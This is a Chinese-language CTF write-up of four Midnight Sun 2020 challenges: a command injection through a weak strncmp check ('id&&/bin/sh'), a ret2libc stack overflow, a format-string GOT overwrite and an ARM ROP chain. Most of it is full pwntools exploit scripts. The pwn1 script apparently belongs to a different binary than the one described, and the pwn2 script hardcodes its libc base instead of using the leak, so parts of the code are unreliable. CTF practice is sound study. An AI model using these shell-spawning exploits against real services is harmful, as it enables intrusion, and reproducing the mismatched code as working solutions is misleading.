Midnight Sun CTF 2020 Quals Writeup

前言

第一次做國外 CTF 與國內有差異的,我感覺最明顯的是題目會多個方向混合出題,比如說 web 與 pwn 結合出題。從部分題目和結合前幾天看的 king of hill 直播,感覺國外 CTF 對 linux 知識也要有一定要求,不能僅僅只會做題的亞子。

admpanel

考點:代碼能力、linux基操

程序爲一個面板,自然有登錄功能,帳號密碼通過 IDA 看代碼得出。登錄成功後可以執行命令,但是程序給出提示只能執行 id 。但是使用的判斷函數是 strncmp ,只要是子串都可以通過,換句話就是隻有含有 id 都能執行。

完整 exp :

from pwn import *

context.log_level = 'debug'

p = remote("admpanel-01.play.midnightsunctf.se",31337)
#p = process("./admpanel")

p.recvuntil("[3] - Exit")
p.sendline("1")
p.recvuntil("username:")
p.sendline("adminskye")
p.recvuntil("password:")
p.sendline("passwordskye")
p.recvuntil(">")
p.sendline("cat flag")
p.recvuntil("[3] - Exit")
p.sendline("2")
p.recvuntil("execute")
p.sendline("id&&/bin/sh")
p.interactive()

pwn 1

考點:棧溢出、ret2libc

程序無預留後門,給了 libc 文件,因此需要 ret2libc 。棧溢出漏洞函數如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  alarm(0x3Cu);
  printf_pic();
  printf("buffer: ", 0LL);
  gets(&v4);	//棧溢出
  return 0LL;
}

第一次需要泄露 libc_base 地址,然後 rop 回到 main 函數。第二次調用 system(’/bin/sh’) 。

emmm這道題我用官方給的 libc 本地打不通,用本地系統 libc 就打成功了。然後死活連不上遠程服務器,就沒有拿 flag 。

** 完整 exp :**

from pwn import *
 
#sh = remote('111.198.29.45',53033)
sh=process('./level3')
 
context.log_level = 'debug'
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
 
#get func address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
 
payload = 'a'*0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
 
sh.sendlineafter("Input:\n",payload)
 
#leak write's addr in got
write_got_addr = u32(sh.recv()[:4])
print 'write_got address is',hex(write_got_addr)

#leak libc's addr
libc_addr = write_got_addr - libc.symbols['write']
print 'libc address is',hex(libc_addr)
 
#get system's addr
sys_addr = libc_addr + libc.symbols['system']
print 'system address is',hex(sys_addr)

#get bin/sh 's addr    strings -a -t x libc_32.so.6 | grep "/bin/sh"
#libc.search("/bin/sh").next()
bin_sh_addr = libc_addr + 0x15902b
print '/bin/sh address is',hex(bin_sh_addr)
#get second payload
payload0 = 'a'*0x88 + 'a'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
 
sh.sendline(payload0)
sh.interactive()

pwn 2

考點:格式化字符串、覆寫 exit_got rop 、格式化字符串泄露函數地址

格式化字符串輸入長度限制爲 64 ,程序有 cannary 保護,且字符串輸入長度不足夠覆蓋 eip ,因此需要另爲的方法完成 rop 。辦法就是覆寫 exit 函數的 got 表地址爲 main 地址。漏洞函數如下:

void __cdecl __noreturn main(int a1)
{
  char s[4]; // [esp+0h] [ebp-4Ch]
  char v2; // [esp+4h] [ebp-48h]
  unsigned int v3; // [esp+40h] [ebp-Ch]
  int *v4; // [esp+44h] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  *(_DWORD *)s = 0;
  memset(&v2, 0, 0x3Cu);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  sub_80485B6();
  printf("input: ");
  fgets(s, 0x40, stdin);
  printf(s);	//格式化字符串漏洞
  exit(0);
}

到這一步就和 pwn1 基本相識了,一次泄露 libc 基地址,一次完成覆寫調用 system(’/bin/sh’) 。也就是用格式化字符串泄露函數地址,用格式化字符串覆寫函數 got 表地址。

完整 exp :

#encoding:utf-8
from pwn import *

context.log_level = 'info'

#p=remote("pwn2-01.play.midnightsunctf.se",10002)
p = process("./pwn2")
elf = ELF("./pwn2")
libc = ELF("./libc.so.6")

exit_got = 0x0804b020
printf_got = 0x804b00c

# rop
payload = p32(exit_got)  
payload += '%34289c%7$hn'

p.recvuntil('input')
p.sendline(payload)

#leak

p.recvuntil('input')
p.sendline("%30$x".ljust((63-len("%30$x")),'A'))
data = p.recvuntil("A")
printf_leak = int("0x"+data[-9:-1],16)-5

#libc_base = printf_leak - libc.symbols['printf']
libc_base = 0x0804B010 - libc.symbols['printf']
log.info("libc_base: "+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))

payload = pwnlib.fmtstr.fmtstr_payload(7, {printf_got:system_addr}, numbwritten=0, write_size='byte')

p.recvuntil("input:")
p.sendline(payload)
p.interactive()

pwn 3

考點:棧溢出

32 位只打開 NX 保護程序。IDA 打開函數名勸退。耐心分析後,找到 main 函數:

int sub_102FC()
{
  int v0; // r0
  int v2; // [sp+0h] [bp+0h]
  int v3; // [sp+4h] [bp+4h]

  v2 = 0;
  sub_1FDB0(&v3, 0, 124);
  sub_155C0(off_6F4BC, 0, 2, 0);
  sub_155C0(off_6F4B8, 0, 2, 0);
  v0 = sub_2120C(60);
  sub_102E4(v0);	//讀取banner.txt入口函數
  sub_14D00("buffer: ");	//printf
  sub_152A4(&v2, 512, off_6F4BC);	//read;棧溢出
  return 0;
}

還要重點關注的是 sub_102E4 ,判斷是通過 system 讀取文件:

int sub_102E4()
{
  return my_system((int)"cat ./banner.txt");
}

因爲 IDA 中找不到 system plt 地址,所以就看 sub_102E4 的彙編,找到傳參的寄存器和方式:

sub_102E4                               ; CODE XREF: sub_102FC+40↓p
.text:000102E4                 PUSH            {R7,LR}
.text:000102E6                 ADD             R7, SP, #0
.text:000102E8                 LDR             R3, =(aCatBannerTxt - 0x102EE)
.text:000102EA                 ADD             R3, PC  ; "cat ./banner.txt"
.text:000102EC                 MOV             R0, R3
.text:000102EE                 BL              my_system
.text:000102F2                 NOP
.text:000102F4                 POP             {R7,PC}

找到之後就是用 ROPgadget 找可以用的寄存器傳 /bin/sh 給 system 就行。

#/bin/sh
ROPgadget --binary pwn3 --string '/bin/sh'
0x00049018 : /bin/sh
#gadget
ROPgadget --binary pwn3 --only 'pop'

完整 exp :

from pwn import *

context.log_level = 'debug'

p = process("./pwn3")
#p = remote('pwn3-01.play.midnightsunctf.se', 10003)

binsh = 0x00049018
system = 0x14b5d
pop_r0 = 0x0001fb5c

payload = cyclic(140)
payload += p32(pop_r0)
payload += p32(binsh)
payload += p32(0xdeadbeef)
payload += p32(system)

p.recvuntil("buffer")
p.sendline(payload)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章